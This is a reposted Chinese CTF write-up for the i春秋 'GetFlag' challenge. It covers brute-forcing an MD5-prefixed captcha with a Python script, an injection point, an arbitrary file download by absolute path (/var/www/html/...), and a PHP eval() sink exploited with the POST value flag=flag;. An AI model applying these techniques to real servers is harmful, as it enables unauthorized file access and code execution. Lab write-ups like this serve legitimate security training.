“百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)

Posted Ragd0ll

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了“百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)相关的知识,希望对你有一定的参考价值。

题目在i春秋ctf大本营

页面给出了验证码经过md5加密后前6位的值,依照之前做题的套路,首先肯定是要爆破出验证码,这里直接给我写的爆破代码

#coding:utf-8
import hashlib  
strs = \'35eb09\'
def md5(s):
    return hashlib.md5(str(s).encode(\'utf-8\')).hexdigest()

def main():
    for i in range(100000,100000000):
        a = md5(i)
        if a[0:6] == strs:
            print(i)
            exit(0)  
if __name__ == \'__main__\':
    main()

拿到验证码后,先拿弱口令尝试登陆,试了好几个都不没成功,转而测试是否有注入点

测试的时候发现每次输入验证码都会改变,是真的烦,不过看返回页面存在注入点

重定向后发现三个文件:

打开最后一个a.php,看到提示:flag在根目录

 

一开始以为是文件读取,使用filter协议并没有成功,尝试直接访问flag.php,发现文件存在

再去查看网页源码,发现了文件下载的url

 

尝试下载flag.php,似乎并不行

一时间没了思路,去翻翻大佬的wp,看了后才知道../被过滤了,这里可以直接拿绝对路径来下载

猜测绝对路径为/var/www/html

所以我们访问url:http://b25da701b8cd44fb97bd6ceb7c5da1e474fdc7f166034f3a.game.ichunqiu.com/Challenges/file/download.php?f=/var/www/html/Challenges/flag.php

成了成了,打开文件发现源码:

<?php
$f = $_POST[\'flag\'];
$f = str_replace(array(\'`\', \'$\', \'*\', \'#\', \':\', \'\\\\\', \'"\', "\'", \'(\', \')\', \'.\', \'>\'), \'\', $f);
if((strlen($f) > 13) || (false !== stripos($f, \'return\')))
{
        die(\'wowwwwwwwwwwwwwwwwwwwwwwwww\');
}
try
{
         eval("\\$spaceone = $f");
}
catch (Exception $e)
{
        return false;
}
if ($spaceone === \'flag\'){
    echo file_get_contents("helloctf.php");
}

?>
 

这里要求我们post一个flag参数,若值为flag就给出helloctf.php的内容,flag在这个文件里没跑了

直接POSTflag=flag并没有反应,再去瞜一眼wp,大佬POST的是flag=flag;

最后一定要加上分号.......但我并不清楚其中的原理,有了解的大佬请告知一下

POST完后可以在网页源码中看到flag

 

以上是关于“百度杯”CTF比赛 十月场_GetFlag(验证码爆破+注入+绝对路径文件下载)的主要内容,如果未能解决你的问题,请参考以下文章

“百度杯”CTF比赛 十月场_Login

“百度杯”CTF比赛 十月场 签到题

2018小训—2017_“百度杯”CTF比赛_十月场_Login

i春秋——“百度杯”CTF比赛 十月场——Login

i春秋 百度杯”CTF比赛 十月场 login

[i春秋]“百度杯”CTF比赛 十月场-Hash